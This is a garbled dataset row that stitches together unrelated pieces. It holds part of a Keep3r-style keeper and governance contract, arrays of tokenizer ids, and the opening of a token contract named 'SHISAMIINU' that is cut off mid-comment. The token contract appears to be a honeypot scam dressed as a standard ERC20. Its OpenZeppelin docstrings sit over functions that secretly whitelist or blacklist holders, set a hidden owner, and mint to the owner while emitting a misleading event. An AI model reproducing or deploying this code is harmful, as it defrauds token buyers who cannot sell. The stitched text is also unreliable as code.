function setKperNetworkHelper(IKperNetworkHelper _kprh) external {
require(msg.sender == governance, "setKperNetworkHelper: !gov");
KPRH = _kprh;
}
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
require(msg.sender == governance, "setGovernance: !gov");
pendingGovernance = _governance;
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov");
governance = pendingGovernance;
}
/**
* @notice confirms if the current keeper is registered, can be used for general (non critical) functions
* @param keeper the keeper being investigated
* @return true/false if the address is a keeper
*/
function isKeeper(address keeper) external returns (bool) {
_gasUsed = gasleft();
return keepers[keeper];
}
/**
* @notice confirms if the current keeper is registered and has a minimum bond, should be used for protected functions
* @param keeper the keeper being investigated
* @param minBond the minimum requirement for the asset provided in bond
* @param earned the total funds earned in the keepers lifetime
* @param age the age of the keeper in the system
* @return true/false if the address is a keeper and has more than the bond
*/
function isMinKeeper(address keeper, uint minBond, uint earned, uint age) external returns (bool) {
_gasUsed = gasleft();
return keepers[keeper]
&& bonds[keeper][address(this)].add(votes[keeper]) >= minBond
&& workCompleted[keeper] >= earned
&& now.sub(firstSeen[keeper]) >= age;
}
/**
* @notice confirms if the current keeper is registered and has a minimum bond, should be used for protected functions
* @param keeper the keeper being investigated
* @param bond the bound asset being evaluated
* @param minBond the minimum requirement for the asset provided in bond
* @param earned the total funds earned in the keepers lifetime
* @param age the age of the keeper in the system
* @return true/false if the address is a keeper and has more than the bond
*/
function isBondedKeeper(address keeper, address bond, uint minBond, uint earned, uint age) external returns (bool) {
_gasUsed = gasleft();
return keepers[keeper]
&& bonds[keeper][bond] >= minBond
&& workCompleted[keeper] >= earned
&& now.sub(firstSeen[keeper]) >= age;
}
/**
* @notice begin the bonding process for a new keeper
* @param bonding the asset being bound
* @param amount the amount of bonding asset being bound
*/
function bond(address bonding, uint amount) external nonReentrant {
require(!blacklist[msg.sender], "bond: blacklisted");
bondings[msg.sender][bonding] = now.add(BOND);
if (bonding == address(this)) {
_transferTokens(msg.sender, address(this), amount);
} else {
uint _before = IERC20(bonding).balanceOf(address(this));
IERC20(bonding).safeTransferFrom(msg.sender, address(this), amount);
amount = IERC20(bonding).balanceOf(address(this)).sub(_before);
}
pendingbonds[msg.sender][bonding] = pendingbonds[msg.sender][bonding].add(amount);
emit KeeperBonding(msg.sender, block.number, bondings[msg.sender][bonding], amount);
}
/**
* @notice get full list of keepers in the system
*/
function getKeepers() external view returns (address[] memory) {
return keeperList;
}
/**
* @notice allows a keeper to activate/register themselves after bonding
* @param bonding the asset being activated as bond collateral
*/
function activate(address bonding) external {
require(!blacklist[msg.sender], "activate: blacklisted");
require(bondings[msg.sender][bonding] != 0 && bondings[msg.sender][bonding] < now, "activate: bonding");
_activate(msg.sender, bonding);
}
function _activate(address keeper, address bonding) internal {
if (firstSeen[keeper] == 0) {
firstSeen[keeper] = now;
keeperList.push(keeper);
lastJob[keeper] = now;
}
keepers[keeper] = true;
_bond(bonding, keeper, pendingbonds[keeper][bonding]);
pendingbonds[keeper][bonding] = 0;
emit KeeperBonded(keeper, block.number, block.timestamp, bonds[keeper][bonding]);
}
/**
* @notice begin the unbonding process to stop being a keeper
* @param bonding the asset being unbound
* @param amount allows for partial unbonding
*/
function unbond(address bonding, uint amount) external {
unbondings[msg.sender][bonding] = now.add(UNBOND);
_unbond(bonding, msg.sender, amount);
partialUnbonding[msg.sender][bonding] = partialUnbonding[msg.sender][bonding].add(amount);
emit KeeperUnbonding(msg.sender, block.number, unbondings[msg.sender][bonding], amount);
}
/**
* @notice withdraw funds after unbonding has finished
* @param bonding the asset to withdraw from the bonding pool
*/
function withdraw(address bonding) external nonReentrant {
require(unbondings[msg.sender][bonding] != 0 && unbondings[msg.sender][bonding] < now, "withdraw: unbonding");
require(!disputes[msg.sender], "withdraw: disputes");
if (bonding == address(this)) {
_transferTokens(address(this), msg.sender, partialUnbonding[msg.sender][bonding]);
} else {
IERC20(bonding).safeTransfer(msg.sender, partialUnbonding[msg.sender][bonding]);
}
emit KeeperUnbound(msg.sender, block.number, block.timestamp, partialUnbonding[msg.sender][bonding]);
partialUnbonding[msg.sender][bonding] = 0;
}
/**
* @notice allows governance to create a dispute for a given keeper
* @param keeper the address in dispute
*/
function dispute(address keeper) external {
require(msg.sender == governance, "dispute: !gov");
disputes[keeper] = true;
emit KeeperDispute(keeper, block.number);
}
/**
* @notice allows governance to slash a keeper based on a dispute
* @param bonded the asset being slashed
* @param keeper the address being slashed
* @param amount the amount being slashed
*/
function slash(address bonded, address keeper, uint amount) public nonReentrant {
require(msg.sender == governance, "slash: !gov");
if (bonded == address(this)) {
_transferTokens(address(this), governance, amount);
} else {
IERC20(bonded).safeTransfer(governance, amount);
}
_unbond(bonded, keeper, amount);
disputes[keeper] = false;
emit KeeperSlashed(keeper, msg.sender, block.number, amount);
}
/**
* @notice blacklists a keeper from participating in the network
* @param keeper the address being slashed
*/
function revoke(address keeper) external {
require(msg.sender == governance, "slash: !gov");
keepers[keeper] = false;
blacklist[keeper] = true;
slash(address(this), keeper, bonds[keeper][address(this)]);
}
/**
* @notice allows governance to resolve a dispute on a keeper
* @param keeper the address cleared
*/
function resolve(address keeper) external {
require(msg.sender == governance, "resolve: !gov");
disputes[keeper] = false;
emit KeeperResolved(keeper, block.number);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint amount) public returns (bool) {
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param amount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAINSEPARATOR, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "permit: signature");
require(signatory == owner, "permit: unauthorized");
require(now <= deadline, "permit: expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint amount) public returns (bool) {
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint amount) external returns (bool) {
address spender = msg.sender;
uint spenderAllowance = allowances[src][spender];
if (spender != src && spenderAllowance != uint(-1)) {
uint newAllowance = spenderAllowance.sub(amount, "transferFrom: exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function _transferTokens(address src, address dst, uint amount) internal {
require(src != address(0), "_transferTokens: zero address");
require(dst != address(0), "_transferTokens: zero address");
balances[src] = balances[src].sub(amount, "_transferTokens: exceeds balance");
balances[dst] = balances[dst].add(amount, "_transferTokens: overflows");
emit Transfer(src, dst, amount);
}
function _getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
1013,
1013,
2013,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
2330,
4371,
27877,
2378,
1011,
8311,
1013,
1038,
4135,
2497,
1013,
3040,
1013,
8311,
1013,
8785,
1013,
8785,
1012,
14017,
1013,
1013,
3395,
2000,
1996,
10210,
6105,
1012,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
1997,
1996,
4895,
5403,
18141,
3136,
11027,
2015,
2019,
2972,
1008,
2465,
1997,
12883,
1010,
2061,
2009,
1005,
1055,
6749,
2000,
2224,
2009,
2467,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
21318,
3372,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
5587,
1024,
1009,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
21318,
3372,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
2104,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
4942,
6494,
7542,
3685,
2104,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
4942,
1024,
1011,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
2104,
12314,
1006,
2043,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.6.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SHISAMIINU is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
